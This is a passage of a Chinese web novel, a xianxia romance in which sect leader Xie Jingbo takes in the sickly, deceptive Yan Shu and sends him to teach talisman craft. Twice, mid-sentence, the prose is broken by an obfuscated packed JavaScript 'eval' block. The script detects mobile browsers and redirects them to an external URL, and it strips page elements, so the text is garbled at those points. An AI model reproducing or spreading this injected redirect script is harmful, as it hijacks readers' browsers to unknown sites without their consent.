他看着床榻上的人拥着被,露在外面的那截手腕轻轻搭在膝上,脆弱的像要碎掉。 偏那人仿佛真的洞察了他的心思般,下一秒,摇摇晃晃地将腕骨拾起,摊手放到他眼前。 燕纾笑着歪了歪头:“不知这味药,谢宗主能否不吝相赠?” 谢镜泊没有立刻回答。 他盯了燕纾几秒,再开口时,忽然换了一个话题:“听松竹说,你很擅长符道、卦阵?” 燕纾似乎没想到他会问这个,愣了一下点了点头:“是。” 他歪了歪头,大言不惭地又补充了一句:“相当擅长。” 谢镜泊没有理会他最后那句话,只微微点了点头。 “我可以留你在销春尽。” 燕纾的欢呼声还没出口,下一秒便听谢镜泊继续开口:“但销春尽不养闲人,你若想留下来,需要展现出你的价值。” 燕纾愣了愣。 他犹豫了一下,小声开口:“谢宗主若需要暖床,我也是可以的。” “......教授符道这门课的长老近期请休了,我要你去教符画卦象这一门课。”谢镜泊冷着脸径直打断他的话。 燕纾的眼眸微微睁大,他不可置信地望向谢镜泊:“你这是虐待病人,我重伤还未愈......” “你若好好吃药,就可早日好转。” 燕纾瞪了他一眼,咬咬牙又继续开口:“那我要换一间屋子。” 他一边说一边嫌弃地望向地上的药渍:“这个屋子里全是药味,我不喜欢,我要换一间上好的暖阁........” 燕纾话还没说完,便看面前的人袍袖一挥,瞬间将地面上的药汁清扫一空。 燕纾:......? “我说了,要想在销春尽留下,获得那味药,需要你自己想办法。” 他转身径直向后走去,走了几步,忽然脚步微顿:“前几日松一、松竹他们撞上的魔教,是你引来的吗?” 顷刻间,燕纾立刻明白谢镜泊方才举剑的缘故。 他愣了一下,倏然笑开:“谢宗主原来方才是怀疑我啊。” 他没有直接回答,微微坐直身子,忽然扯到另一个话题:“那谢宗主怎么还不舍得伤我?” 燕纾坐的有些乏了,轻轻锤了锤腰,干脆从床上跪坐起身,白衣委地,恍若一只缥缈的蝴蝶。 他撑着身子,腰肢微陷,语气暧昧:“谢宗主果然对我情根深种——” 谢镜泊一言不发转身直接向门口走去:“......一会儿我遣人给你送碗新的汤药,你若想痊愈,记得按时服用。” 他往前走了两步,忽然听到身后燕纾带笑的声音再次传来。 “谢宗主问了我这么多问题,总也该我问谢宗主一个问题了吧。” 谢镜泊回过头,正看到燕纾笼着袖子,靠在床头,用他一贯慵懒随意的语调开口:“谢宗主对我的过去似乎很是了解。” “我想知道,谢宗主对我的身份.......到底知道多少?” 房间内静了下来,朝阳在房檐外泼下一整片漂亮的夹竹桃粉,一袭玄衣的人半侧过身,站在光影交接处,看不清神情。 燕纾也不催他,调整了一下坐姿,杵着下巴,似笑非笑地望着他。 “没关系,谢宗主如果不好意思详述我们相识相知相恋的过往,可以简要......” 他话还没说完,下一秒,便听谢镜泊轻声开口:“你曾出身销春尽。” 他盯着燕纾,却看燕纾愣了一下,眼中莫名浮现出一抹惊愕与不可置信。 他倏然坐直身子:“这不可能,你......” “什么不可能?”谢镜泊立刻开口追问。 但下一秒,燕纾意识到什么,迅速收敛神情,却似乎牵动了身体里什么旧伤,弯下腰捂住胸口,剧烈呛咳起来。 谢镜泊上前一步,皱眉望着面前的人。 燕纾咳的停不下来。 他身子整个半弯了下去,勉力平静着呼吸,却到最后关头蓦然一颤,身子一塌,偏头用袖口捂住唇,似乎张口呕出了什么。 谢镜泊垂在身侧的手一点点收紧,他想要上前一步,却见面前的人已经抬起头,重新恢复了一贯兴味盎然的模样。 “没什么,我只是惊讶——” 燕纾将方才捂唇的手背到身后,笑眯眯抬头,语调暧昧:“——谢宗主这算亲口承认了我们的关系吗?” 谢镜泊:“......我只知你曾出身销春尽,我在长生殿的长命烛上曾看到过你的名字。” 他目光落到燕纾背着的手上,只一秒又迅速移开:“除此之外,一无所知。” 燕纾怔了怔,却只看谢镜泊转过身,衣袖翻飞间,落下最后一句:“明天的课寅时七刻起,在规训堂,切勿迟到。” 燕纾:?? 下一刻,一阵绝望的哀嚎声从房间内传来:“寅时?那时候天都没亮呢?!” 谢镜泊没有理会,径直转过身向门口走去。 燕纾还在垂死挣扎:“等一下,谢宗主既然之前认识我,应该也知道我不认得路吧,至少应该——” 回应他的,是房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685691|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门“砰”的一声闷响,和谢镜泊迅速远去的脚步声。 · 燕纾无声地叹了一口气。 “走的这么决绝........” 一阵冷风刮过,将本就不甚牢固的窗几吹开,燕纾被冷风激了一下,偏过头,捂唇低低地闷咳起来。 天空逐渐被暮色取代,几声细微的鸟鸣声从窗外划过,月光从微敞的窗沿洒落,照出苍青色的青石板,也照出了无声无息落入房内的一个人上。 那个人一袭黑色夜行衣,低垂着头,恭敬地跪在燕纾床前,从怀中取出一盏莲瓣青瓷杯来,捧到燕纾身前。 那茶盏还冒着淡淡的白色雾气,温度应是刚刚好。 燕纾对这个突然出现的人影也没有丝毫的意外。 他勉强止住咳意,探过身去,就着那人的手抿了几口,又咳了两声,微微摇头示意不要了。 那黑衣人迅速应了一声,将茶盏收了起来,又从兜里掏出一件白色帕子,将燕纾方才背在身后的手轻轻展开,小心翼翼地擦拭着掌心间的血迹。 燕纾垂着眼任他动作,神情疲倦不知在想些什么,只在他再次从怀里掏出一个小药瓶时微微摇了摇头。 “今天先不吃了,药瓶也不能留在这里,谢镜泊不能知道我真实的身体状况。”燕纾按了按眉心,径直转移了话题,“之前让你们查的东西有结果了吗?” 那人应了一声,将小药瓶攥在手里,犹豫了一下还是没有立刻收起:“门主,樾公子叮嘱.......” 燕纾转头看了他一眼,似笑非笑地勾了勾唇:“怎么,我现在已经管不动你们了?” “属下不敢。” 那人有些慌张地抬起头,迅速将小药瓶收起,从怀里恭敬地递过来一个竹简。 “两年前大战后,销春尽所有的相关资料都在这里,谢镜泊我们能收集到的也尽数写入。” 燕纾随口应了一声,接过竹简刚准备细瞧,忽然皱了皱眉,猝然偏过头捂住胸口再次吐出一口血来。 “门主!” 那个黑衣人吃了一惊,膝行着想要上前来扶,却被燕纾抬手制止。 “没事,昨晚有些受寒了,淤血吐出来就好。” 房间的窗户被风吹的一下下撞在窗沿上,黑衣人也不敢造次,收回手,声音有些愤懑。 “门主,您为何一定要待在这里?那味药属下可以加大人手搜寻六界,不一定只他们销春尽有,再不济我们攻上终灵山,他们如此对您,您何必委屈自己......” 他的声音在燕纾微冷的目光中逐渐低了下去,沉默地跪回了原地。 “退下,转告樾为之少打歪主意,也少往销春尽里插眼线。” 燕纾按住胸口,有些淡漠地勾了勾唇:“谢镜泊敏锐的很,你们要是被他发现,我也救不了你们。” 他话音刚落,便见那个黑衣人猛然俯下身,大声开口:“门主放心,属下若被发现,一定以死谢罪。” 燕纾:“.......先下去吧。” 那个黑衣人应了一声,面对着燕纾退了两步,刚转过身,忽然听到身后燕纾的声音再次传来。 “哦对,还有一件事。” 他话音刚落,便看那人迅速折返回来,单膝落地重新跪在床头:“门主您吩咐,赴汤蹈火,下属亦在所不辞.......” “........樾为之一天天都操练了你们什么?” 燕纾嘴角抽了抽,有些无奈地叹了一口气。 “也不是什么大事。” “帮我查一下,从这里到规训堂的路。” 黑衣人:? 4. 废人 销春尽,长老院。 谢镜泊缓步走入殿内,下一秒,一个威严的声音从殿右侧响起。 “宗主可是叫人好找。” 谢镜泊脚步没有半分停顿。 他缓步走上前,在殿中央驻足,弯腰行了一礼:“参见三位长老。” 终灵山本有两主峰三正殿,按自然五行分区而立。 但两年前六界混战后,销春尽元气大伤,原属下位的三位长老以“新任宗主年纪尚轻、经验不足”为由,在销春尽内设立了长老院,试图揽权。 但谢镜泊动作极快,三长老成了个空架子,恼羞成怒下干脆足不出殿,只明里暗里一直和谢镜泊作对,颐指气使地试图打压。 ——高高架起,装出一副高不可攀的模样。 殿内一时寂静无声,谢镜泊自顾自地慢慢直起身,碧色的眼眸抬起,平静无波地望向殿尽头那三尊金樽罗刹。 三尊罗刹三角对立,通体金黄,端的是慈眉善目,阳光映衬下泛着耀眼的光芒。 ——但细瞧时却不难看出边缘处的破败与腐朽。 过了不知道多久,殿内终于响起一声冷哼,紧接着另一个带着些许怒意的声音从殿左侧传来。 “销春尽不大不小这么一块地方,宗主倒是躲的好,让我派出去的门仆遍寻不到。” 左侧长老的声音带着掩藏不住的怒火:“下次我岂不是得把十二门仆全派出去,才能请得宗主大驾。” 谢镜泊偏过头,冲着左侧微微颔首:“镜泊不敢。” 殿左侧的声音再次冷笑了一声,惊起悬梁上的乌鸦一阵哀鸣。 谢镜泊的目光追随着那几只通体乌黑的鸟儿从大殿中掠过,直到终于看不见踪影,才缓缓收回目光。 他再次微一弯腰:“不知这次三位长老叫我前来,所为何事?” 大殿内静了几秒,似乎有一道冷哼声从左侧再次响起,下一秒,却被中央一道格外慈缓的声音压下。 “镜泊方才言重了,自你接管宗门后,事务多有繁忙,销春尽能有如今的地位、实力,你确实功不可没。” 谢镜泊皱了皱眉,神情间浮现出隐隐的不耐。 殿中央的大长老似乎也看出了这一点,语调更慈善了些,终于转向了正题。 “我们听说,你前日将一个人接入了宗门。” 谢镜泊抬起头,望着面前的三尊雕像没有说话,没有点头,但也没有否认。 殿中央的长老也不在意,语调甚至越发轻柔了下来。 “镜泊,我们是看着你长大的,你当上宗主后对你也是多加照顾,我们也不是想干涉你,只是想着你年纪尚轻,再加上最近魔教作乱,担心像你大师兄燕宿泱一样步入歧途——” 大长老说到这里,仿佛颇为惋惜地叹了一口气:“想当年燕宿泱天赋艳绝,一十三门无人出其右,却偏偏与那魔教勾结,自寻死路......” 大长老话还没说完,忽然被谢镜泊直接打断:“规训堂那里,教授符道的长老近期请休了。” 大长老愣了一下,一时间没有反应过来:“什么?” “规训堂的长老因病请休,我特意寻的人前来替代。” 谢镜泊冷声开口:“我前日接进来的,便是那人。” 长老殿内一时寂静无声,谢镜泊已自顾自地又行了一礼。 “镜泊还有事,就先行告退了。” 他弯着腰后退两步,毫无留恋地迅速转过身。 “宗主,你的规矩都在哪里,何事需你这么着急——”大殿右侧三长老暴躁的声音响起。 谢镜泊充耳不闻,只看了眼天色快步往外走去,下一秒,忽然听大长老和蔼的声音从殿内传来。 “镜泊,你大师兄的踪迹,你寻到了吗?” 谢镜泊脚步微微一顿:“........未曾。” “镜泊,我知从前你就和你大师兄关系最亲,从小时起便每每缠着他,但你大师兄已入魔族,你切不可一时心软,酿成大祸。” 长老的话仿佛耳语,细细地浮现在他耳边:“非我族类,其心必异。” “你莫要再被他骗了。” “......我知。” 谢镜泊闭了闭眼,大踏步向外走去。 “我知。” 长老殿内一时间恢复了短暂的寂静。 紧接着,二长老有些暴躁的声音从殿内响起:“尊者,您就这么相信谢镜泊那小子说的话?他当年可是能为了燕宿泱——” “我当然不信。” 大长老微沉的声音从殿后方传来,紧接着,一阵乌鸦振翅的哀鸣声从殿中掠过。 “我只信我自己所见。” “宗里的小辈没见过燕宿泱真面目,我会亲自去看。” “若他真是燕宿泱——”大长老声音依旧和缓,此时却带着一丝莫名的诡异。 “杀无赦。” · 另一边,本该出现在课堂上的人,却还徘徊在房外的竹林里。 燕纾半夜咳的睡不着,好不容易迷迷糊糊也不知是昏过去还是睡过去,再猛然一睁眼便已经是寅时三刻了。 他急急忙忙地冲出房门,绕了一圈后,终于成功地——迷路了。 “都说了给我换个屋子........”旁边不知哪里飞来的乌鸦不住地鸣叫,燕纾叼着发带,有些烦躁地随手扎了个发髻。 谢镜泊给他找的这个住所实在是太过偏僻,今早冲出门时他还在庆幸还好有地图,等真走出来才发现——这路和地图上描绘的哪一条都对不上。 燕纾半撑着膝盖,气喘吁吁地站在原地。 他晕晕绕绕又转了一刻钟,在第三次绕回竹林三字交叉口的时候,终于受不了了。 他一屁股坐在路边的大石头上,愤愤地掏出昨晚连夜被送来的地图看了两三遍,也没找到地图上所指的那条路。 “你大爷的樾为之,你最好别被我发现你是故意的.......” 燕纾愤愤地骂了一句,一股脑将地图重新塞回了怀里。 他闭了闭眼,深吸一口气,从兜里掏出三枚铜钱。 铜钱泛着古铜色的微光,燕纾手指轻轻摩挲了一下,叹了一口气,随手掐了个诀。 “要是让师父知道我拿他教的摇卦来找路........” 燕纾把“从坟里爬出来把我骂死”咽了下去,没忍住又叹了一口气,盘腿坐在地上,又掏出一张符纸,比了个起手式。 “七政四余,各有定数——” 他手中的符纸无风自燃,同一刻,三枚铜钱缓缓漂浮在空中。 燕纾半支着下巴,手指微微一拨面前的铜钱,忽然听到身后一个熟悉的声音传来。 “你在这里做什么?” 燕纾手指一颤,下一秒,半空中原本漂浮的铜钱也剧烈地晃动了一下,倏然向前飞去。 “啪”的一声脆响,那枚铜钱不偏不倚,正正好打到谢镜泊额头中央。 燕纾的表情倏然凝固了。 · 几秒钟后,燕纾凑在谢镜泊面前,有些愧疚地看着他眉心正中央那道红印,抬手想揉。 “我没用多大劲儿啊.......” 他刚抬起手,对面的人一把攥住他的手腕,垂下眼静静地望向他。 燕纾撇了撇嘴,比了个抱歉的手势,后退一步,将手腕抽了回来。 “对不住啊,我不知道你会突然出现在那里.......对啊——” 燕纾抬起头:“谢宗主一大早来这里做什么?” 谢镜泊盯着他不说话,燕纾也不着急,眨了眨眼,径直凑到谢镜泊身前:“谢宗主不会是知道我会迷路......所以专程来找我的吧。” 谢镜泊眼眸闪了闪。 晨曦的微光落到他眼眸间,镀上了一层漂浮的暖光。 他盯着燕纾,缓缓开口。 “我来督工。” 燕纾:? 他一边说一边又向旁边看了一眼:“顺便来看你能迷路到哪里。” 谢镜泊:“未曾想到,离房门不过十步。” 燕纾:...... 他瞬间炸了毛:“这不怪我,你们这个竹林有问题,我绕来绕去根本找不到一条路能出去,简直就是鬼打墙——” “这个竹林里设了迷阵。” 燕纾的声音戛然而止。 他似乎想到了什么,瞳孔微缩了一瞬。 他听着谢镜泊缓缓开口:“这是宗门最初级的阵法,用灵力寻一下阵法交接处的薄弱点,就能找到出路了。” 谢镜泊转过头,望向燕纾:“你找不到吗?” 燕纾抬头正对上谢镜泊的目光。 他眼眸闪了闪,忽然幽幽地叹了一口气。 “我当然找不到啊,谢宗主。” 燕纾将方才捏着三枚铜钱的手不着痕迹地背到身后,语气依旧凄哀:“我之前不是跟谢宗主说过了,我要死了,我这个身体受过重创,早已废了,灵力已被洗涤一空。” 他话还没说完,便听面前的人冷声开口:“我说了,别骗我了,燕纾,我不会信的。” 燕纾背后掐算的手指微微一顿。 他坐在一片逆光里,仰头望着面前的人。 谢镜泊清楚,燕纾从小时起便十句话里没一句真话。 谎话从来不重样,他们师兄弟五人全都被轮番坑过,其中尤以谢镜泊为最。 “谢宗主不相信吗?”燕纾盯了他几秒,忽然轻轻叹了一口气。 他抬起头,垂在身侧的手抬起,冲着他露出了纤细的内腕:“谢宗主要是不信,不如亲自帮我把把脉?” 面前的人跪坐在地上,脆弱到仿佛不堪一握的腕骨从层层叠叠的袍袖中露出一截,弯曲的弧度带着几分倔强和委屈的意思。 谢镜泊怔了怔。 面前的人身形单薄,失去了记忆,昨天松一也确认过,他身体确实受过一定程度的暗伤。 ——万一燕纾说的是真的,万一他好不容易一次示弱却被他误解........ 谢镜泊心中竟然有些慌了神。 “你........” 他下意识上前一步想要去握那微颤的手腕,下一秒,却看面前的人忽然凑上前。 “谢宗主真信了啊。” 燕纾歪了歪头,眼中盛着笑意,方才的脆弱与无措已一扫而空。 谢镜泊动作一顿。 燕纾笑盈盈地站直身子,双手背在身后,冲着右侧那条路微微偏了一下头。 “从这里出去,再往左拐一里,就到规训堂了。” 身后的人一直没有出声,燕纾往前走了两步,笑眯眯地转过头:“晨课马上就要开始了,谢宗主不是要督工,不一起走吗?” 谢镜泊神情又恢复了熟悉的冰冷。 他死死地盯着面前神情自若地人,半晌倏然转过身,大步向反方向走去。 玄色衣袍迅速消失在竹林深处,燕纾无声地吐了一口气,身子轻轻晃了一下。 他闭了闭眼,摊开手,方才紧攥的三枚铜钱在掌心间烙下了不轻不重的三个印子。 “怎么还会相信我啊,谢镜泊........”燕纾似乎轻轻叹了一口气。 身后似乎再次传来翅膀扇动的声音,燕纾垂下眼,静了几秒,忽然开口。 “看够了吗?” 他手指一动,原本蜷在手中的三枚铜钱倏然飞出,紧接着头顶传来一声乌鸦的尖叫。 燕纾转过头,原本琥珀色的桃花眼不知何时变成了一片猩红,闪着微光光。 他微微仰头,慢慢抬起手,冲着虚空勾了勾指尖。 “看够了,就给我滚过来。” · 松一好不容易赶到规训堂的时候,正卡着晨课的点。 他长舒了一口气,在松竹不赞同的目光下,蹑手蹑脚地挪到了学堂后排。 “你别罚我,师兄,我知道我今天又是最后一个到的,但我好歹没有迟到,而且像我这样的精准卡点才是最难得.......” 松一不等松竹发问,低下头迅速小声辩解着,却看下一秒,松竹还是缓缓抬起了手。 松一下意识往后缩了一下,却听松竹低声开口。 “你不是最后一个。” 松一一愣。 松竹有些无奈地往后指了指,松一下意识回头,便看到昨天那个“病秧子”正半撑着腰,气喘吁吁地站在门口。 · 燕纾赶到规训堂时,正好踩着晨课的晨钟。 他吸了一口气,想着缓一口气再进去,不然头一天上课就直接晕倒在学堂上,那笑话可闹大了。 但他刚摸索着靠上门框,下一秒,忽然感觉手腕处一阵大力传来。 燕纾:? 他踉跄一步,条件反射地抬手掐了一个诀,下一秒,却被人按着一把拽到了学堂的最后一排。 “你来这里干什么?”松一把他按到座位上,咬牙低声开口。 燕纾愣了一下,慢慢放松了背在身后的手,偏过头捂唇呛咳起来。 “你干嘛去了?这么喘?”松一听着他的咳喘声,神情狐疑。 “小师侄,你要体谅一个伤病未愈的病人啊.........” 燕纾有气无力地冲松一摆了摆手,示意有事等会儿再说:“你等我一下........” “谁是你师侄——你还知道你是病人啊!你一个大早上让你起来喝药都不肯的人,怎么愿意早起跑来规训堂?”松一一连声开口。 “你到底有什么企图——” 燕纾被他吵的头晕:“不是我要来,是谢镜泊.......” 他话还没说完,便听松一倒吸了一口凉气。 “你是为了追宗主所以追到这来的?!” 坐在旁边的松竹不知想到了什么,神情变了变,但也没有反驳, 燕纾:........ ——他第一次,因为别人的话感到一丝堂皇。 他按了按眉心,认真抬起眼:“我说我是来教今日这门课的,你信吗?” 松一头摇的像拨浪鼓一样:“当然不信。” 他有些无语地望向燕纾:“要编谎话就编的好一点,你之前的伶牙俐齿都哪里去了?” 难得说一次实话的人神情无辜:“......可是我真的是来教课的。” 他一边说一边就想要起身,下一秒,却听面前有一个不屑的声音传来。 “来教我们?你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他心中想着事,没有注意到松一垂在身侧的手正一点点攥紧:“你能不能就事论事,说不过我就开始扯一些毫无关系的事过来.......” 那个弟子冷笑一声径直打断松一的话:“我说的有错吗?燕宿泱就是个杂种、骗子、叛徒——” 燕纾放在桌上的手指轻轻点了点,刚准备说什么,突然听到旁边传来“砰”的一声巨响。 紧接着,身下的桌子不知被谁直接掀翻。 “你胡说八道什么!” 燕纾身子一歪,好不容易稳住身形,再一抬眼,却见松一满脸怒气地冲了上去,揪住了那弟子的领口。 “燕宿泱不是你说的那样——” 燕纾:? “你又在看被你当成宝贝的那些破药书了吧,一个被逐出师门的小白脸写的能有什么真才实学。”那个弟子冷笑一声。 “我身为长老的弟子,对于曾经叛逃宗门的人,理应让所有人知道他的祸害。” “什么药书?”燕纾忍不住开口。 他年少时好奇心重又玩性大,虽专修符道、卦象,却各个领域都喜欢涉猎。 但他当年留下的东西应该早就被一把火烧了,怎么可能还有留存。 “他不知从哪里搞来的燕宿泱写的一些破烂册子,着了魔一样不停钻研,还一直认为当年的事有隐情。”那个弟子被揪着领子,还不忘讥声嘲讽。 “那不是破烂,那些药书里写的药方、药术其他书里都不曾提及,而且大多方法都精妙绝伦。” 松一手攥的死紧:“不怜苍生,无以善药。我不信能写出这些的人会是一个十恶不赦的恶人——” “但他就是个叛徒!”那个弟子大声打断松一的话。 松一动作一顿,那个弟子乘机一把掰开他的手,反手将松一拽到身前。 “燕宿泱当年勾结魔教,引狼入室,试图独占销春尽;失败后叛逃宗门,长老早已断了他的长命灯,将他从宗门除名。” 他冷笑着望向松一:“这点你敢否认吗?” 松竹上前一步挡开那弟子的手,将松一拦在身后,松一涨红了脸,却依旧咬牙重复:“当年的事销春宗一直未有定论,万一另有隐情........” “长老都已警醒过众人多少次,你问问这里,可有人支持你吗?”那个弟子冷笑一声。 松一咬咬牙,倔强地抬起头。 他的目光环顾四周,试图在堂室内寻找一个支持,但所有人都避开了他的目光。 松一眼神黯了黯,又转头望向松竹:“师兄........” 但松竹顿了顿,微微垂下眼也没有说话。 那个弟子见状,神情越发自信起来。 “松一,你已经被迷惑了心智了,怕是要走火入魔。” 那个弟子上前一步,从身后掏出一根长棍来,神情狰狞:“我要带你去见长老,将这个情况上报,看长老怎么惩治你.......” 他一步步逼近,下一秒,却忽然感觉周身一沉。 “这什么——”那个弟子试图挣扎,却感觉手臂重似千斤,紧接着旁边传来此起彼伏的惊呼。 “发生了什么?为什么我动不了了?” “是符咒!刚才我看着那个新来的人扔出了一道符——” “但我分明没有感受到半分灵力波动.......” “而且什么样的符咒能有这么强大的控制力——” 燕纾对周围的喧嚣充耳不闻。 他背着双手,慢悠悠一步步走来,轻轻巧巧将那根棍子从弟子手中抽出。 “这位小师傅火气可真大啊,小心嘴上长燎泡。” 燕纾将棍子在手中转了一圈,歪了歪头。 “不知道的以为,当年那场魔界大乱,你亲身参与了呢。” 那个弟子涨红了脸想要说话,但周身的威压却让他连张口都难。 “人言亦言,从来不可取,为人处世如此,灵力修炼也如此。”燕纾将棍子抬起,掂了掂他的下巴,似笑非笑地开口。 “你要是一直如此.......将来年岁大了,需要保健丹吗?” 弟子:? 旁边没感受到任何威压变化的松一动了动手脚,有些讶然地望着燕纾,闷咳一声,扭捏地上前一步,“咳,多谢你.......” “小师侄不用谢我,我只是向来助人为乐。” “当”的一声轻响,燕纾将棍子随手扔到桌上,打断了松一的话。 松一愣了一下,却见燕纾抱着双臂,似有些无奈地冲着他勾了勾唇。 “不过小师侄啊.......燕宿泱,确实是个无可救药、十恶不赦的恶人。” “你老了小心也被卖保健丹。” 松一的神情倏然一僵。 符咒的威压正在减弱,燕纾眼前有些头晕。 他为自己这个破身子没忍住又叹了一口气,抬头看看天色也差不多了,扶着桌子小心翼翼地一步步往门口退去,“行了,第一堂课.......很高兴认识各位,咳,今日居学就先分析一下我方才那个符咒.......” 他一边说一边抬起头,忽然动作一滞。 谢镜泊不知何时站在窗外,正目光沉沉地望着他。 燕纾瞬间出了一身冷汗。 谢镜泊明明没有什么表情,燕纾却莫名觉得.......他有些生气了。 5. 受伤 谢镜泊有一双浅碧色的眸子,年幼时没少因此遭到他人排挤、嘲笑。 但燕纾却从第一眼见时,就觉得那双眸子很好看。 像一汪碧色的深潭,远看冰冷幽暗,真正望过去时却清澈见底,让燕纾不自觉地放松下来。 燕纾从来不觉得谢镜泊是个怪类、异种,反而觉得他理应能轻易读懂他的所有情绪。 ——但此时那双眼眸间夹杂着燕纾看不懂的复杂意味,令燕纾心惊。 他愣了一瞬,紧接着迅速收敛神色,装作无辜地后退一步,和谢镜泊茫然对视。 他不懂谢镜泊的怒火从何而来,心中却已转过无数个念头,无论谢镜泊一会儿过来质问什么,都能一概遮掩。 但谢镜泊却只是深深地看了他一眼,倏然转过身,顷刻间便消失在阴影里。 燕纾愣了一下,有些不明所以,却也无声舒了一口气。 但他被谢镜泊这么一惊,出了一身冷汗,眩晕感不减反增,连带着胸腹间都涌起一阵闷痛。 燕纾试了试,发现自己这下真是一步也挪不了了。 他为自己这个破身子又叹了一口气,转头环顾了一圈,想扶着桌子慢慢挪到松一那里。 下一秒,忽然听到身后一阵破空声传来。 燕纾眉心微蹙,身子下意识往旁一侧,动作却忽然一僵。 他脸色倏忽间苍白了几分,强行往旁挪了半寸,好险不险正避过猛然袭来的东西。 “咣当”一声闷响在耳畔炸开,燕纾偏过头,目光扫了一眼落到地上的棍子,悠悠地叹了一口气。 “你还有脸叹气?” 随着一声冷哼,长老弟子的声音果不其然从远处一点点逼近。 他脚尖一挑将棍子抓到手中,活动着手腕,转头狞笑着望着面前半倚着桌子的人。 “是叹自己没了退路,还是叹这回没人再替你出头了?” 燕纾歪了歪头。 他的目光落到不远处松一身上,松一迟疑了一下,到底还是微微别过头,避开了燕纾的目光。 ——只身子却还有意无意侧向燕纾这边。 燕纾轻轻勾了下唇。 “我是在为你担忧啊,小师傅。”燕纾转过头,将目光重新落到面前人身上。 他情真意切地开口:“我是在叹你,死到临头了还不自知。” 长老弟子愣了一下,脸瞬间涨红:“你别敬酒不吃吃罚酒——” 他上前一步,冷笑一声:“我本来想着你犯的也不是什么大事,只想让你道个歉就放你离开,谁知你.......” 他的话还没说完,便看燕纾抬起头,语气真诚:“多谢好意,但我一时半刻实在走不动,还是免了吧。” 长老弟子一噎。 他只以为燕纾在嘲讽,气极反笑:“好,好,这是你自找的。” 他将棍子一甩,狰狞着脸上前,开始一条条堆列燕纾的“罪状”:“你其一伪装授课先生,欺压宗门弟子,其二事后不知悔改,肆意妄言,我只好替宗门先行行使门规——” 他一边说一边上前一步,却看面前的人不避不闪,只笑眯眯盯着他,在他扬起棍子时,忽然一扭头:“谢宗主——” 长老弟子动作一滞。 他被吓了一跳,下意识慌张往外瞧。 在看到学堂门口空无一人后,瞬间反应过来,有些恼羞成怒:“你乱叫什么?” 燕纾也不理他,只依旧微微侧头,懒洋洋继续唤着:“谢宗主,你再不出来,就要准备替我收尸——” “哪里来的谢宗主?谢宗主怎么可能来管你这一无名小卒。”长老弟子狞笑一声,将手中棍子高高举起,径直向下劈下。 “你目无章法,我现在就来替宗门清理门户——” 燕纾不躲不闪,半靠在桌前仰着头,琉璃色的桃花眼眼褶内敛,似笑非笑地望着他,似乎神情笃定。 ——只背在身后的手指间不知何时夹了一张符。 棍风夹杂着怒意呼啸而下,旁边原本装作漠不关心的松一迅速向前跨了一步,下一秒,却感觉一阵劲风忽然刮过。 “砰”的一声闷响,长老弟子手中的棍子瞬间飞了出去,他大叫一声,后退一步神情痛苦地捂住手。 松一脚步一顿,不可置信地睁大眼。 谢镜泊一席玄衣长身玉立,缓缓收回手,正一错不错挡在燕纾身前。 他背对着燕纾,目光微垂,漠然望向面前的人。 “你方才说——你替宗门清理门户?” 谢镜泊声音仿佛带着无尽寒意,语气冰冷:“你也配?” 那长老弟子瞬间出了一身冷汗。 ——他完全没想到谢镜泊真的会来这种弟子的处所。 长老弟子“扑通”一声跪了下去,神情惊惧交加,忍痛捂着手腕弯腰行礼:“是我僭越了,宗主,请您大人不记小人过........” 他咬了咬牙,还是垂死挣扎般重新抬起头:“但是他,就算他真是教习先生,在这里欺压宗门弟子,根本德不配位,请您明鉴啊宗主——” 燕纾眨了眨眼,望向面前目光怨恨的人,没忍住小声开口:“其实我不当这个教习先生也可以.....” 他话还没说完,忽然被谢镜泊冷声打断。 “长老殿弟子,不尊师长,行止僭越,按门规,罚论功堂禁闭——三个月。” ——这是直接承认了燕纾的身份。 燕纾挑了挑眉,旁边的松一有些意外地抬头,那长老弟子整个人直接崩溃了。 “三个月?可是,宗主——” 他挣扎着想要直起身,手臂一紧,却已经被门外候着的论功堂的人先一步“扶”住,将人硬生生带了出去。 燕纾无声地吐了一口气,背在身后的手腕一翻,手中的黄符瞬间凭空消失。 他刚才不躲不避,就是赌谢镜泊可能会让他受伤,却绝不敢让他现在真死在这里。 ——还好,他赌赢了。 “多谢谢宗主。” 燕纾心中心念电转,面上却仍是一副笑眯眯的样子:“我就知道谢宗主不会见死不救,滴水之恩当涌泉相报,谢宗主日后若有什么需求.......” 他话没说完,却被谢镜泊冷声打断:“你方才为什么那么说?” 燕纾愣了一下。 他一时间没反应过来:“什么?” 谢镜泊看着他茫然的神情不似作伪,脸色越发沉了下来。 他方才本是寻着长老乌鸦的踪迹一路追寻,却不知为何失了踪迹。 更没想到刚好听到燕纾那样一句自怨自艾的话。 他望着燕纾,一字一顿地重复了一遍:“你说:‘燕宿泱确实是个无可救药、十恶不赦的恶人。’” 燕纾眉心一跳。 学堂内还在因为方才瞬息的变故喧闹不已,燕纾盯着谢镜泊,表情却慢慢平静下来。 他轻声开口:“谢宗主方才就是因为这句话生气的?” 他看着谢镜泊微蹙的眉心,表情却一点点玩味起来。 “可是这句话——” “是谢宗主曾经自己说的啊。” 周围的喧嚣猛然一静。 谢镜泊瞬间皱眉:“放肆,我何时曾说过这种话?” 他神情间控制不住浮现出一抹怒意与失望:“随意栽赃,自甘堕落,你现在已经变成这样了吗,燕纾——” 面前的人听着谢镜泊的那番话,唇边的笑意却越发深了几分。 他懒洋洋举起手,比了一个投降的手势:“好好好,谢宗主明鉴,是我放任自流了。” “这句话可能是我记错了吧。” 燕纾也不解释,只歪了歪头,带着些许笑意的声音模糊传来:“可是我上山时,‘谢宗主’说的这句话可是已在坊间传开了——我不过只是复述。” 谢镜泊的声音戛然而止。 他不知想到了什么,脸色冰冷,深深地望了燕纾一眼,忽然一言不发地转身,快步向门外走去。 燕纾唇角的笑意随着他的身影远去,终于一点点淡了下来。 